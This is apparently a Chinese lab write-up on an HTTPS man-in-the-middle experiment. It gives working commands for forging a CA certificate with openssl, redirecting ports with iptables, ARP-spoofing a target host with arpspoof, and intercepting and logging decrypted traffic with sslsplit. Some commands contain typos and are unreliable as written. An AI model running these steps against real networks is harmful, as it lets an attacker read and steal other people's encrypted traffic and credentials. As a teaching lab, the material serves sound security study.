HTTPS中间人攻击实验
一.实验基础
1、HTTPS概述
HTTPS (全称: Hyper Text Transfer Protocol over SecureSocketLayer), 是以安全为目标的HTTP通道,在HTTP的基础上通过传输加密和身份认证保证了传输过程的安全性。
默认端口:443
SSLsplit特点:对客户端伪装成服务器,对服务器伪装成客户端需要提前准备证书(可以用openss|生成)
2、HTTPS加密传输过程
客户端发起https请求——建立https握手——协商加密算法——客户端获取公钥证书(证书、公钥)——客户端验证公钥证书——交换会话密钥——加密信息传输
数据(1)一对称加密算法加密——hash加密后的数据 (2)——公钥加密后的数据(3)
将1、2、3都发给服务器
3、HTTPS攻击流程图
二、实验步骤
1.生成私钥
openssl genrsa -out ca.key 2048
2、利用私钥签名生成证书
openssl req -new -x509 -days 365 -key ca.key -out ca.crt
3、攻击机的配置
(1)开启路由
sysctl -W net.ipy4.ip_ forward=1
或直接修改/proc/sys/net/ipv4/ip. forward文件设置为1
(2)开启端口转发
查看当前nat表规则 iptables -t nat -L
因为不相干的nat表规则会对实验有影响,所以清空nat表规则 iptables -t nat -F
确定80和443端口没有被占用,如果被占用就杀掉
netstat -pantu | grep :80
netstat -pantu | grep :443
目标80端口重定向到8080端口
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
4.arp欺骗
欺骗指令arpspoof -i eth0 -t 192.168.1.107 -r 192.168.1.1
5.欺骗成功
查看目标主机的arp表,发现 已经欺骗成功
6、启动SSLsplit
sslsplit -D -l connect.log -j /home/ydx -S ydx/logdir -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080
第一个路径是存放ca密钥和证书的目录,第二个路径是存放目标主机的具体数据内容
-D debug详细信息
-1记录连接信息到文件
-j指定SSLspit的根目录
-S存放客户端请求的具体数据内容
-k私钥
-C证书
访问百度访问不到
参考链接
https://www.freebuf.com/vuls/253343.html
邓林之阴初见昆仑君,惊鸿一瞥,乱我心曲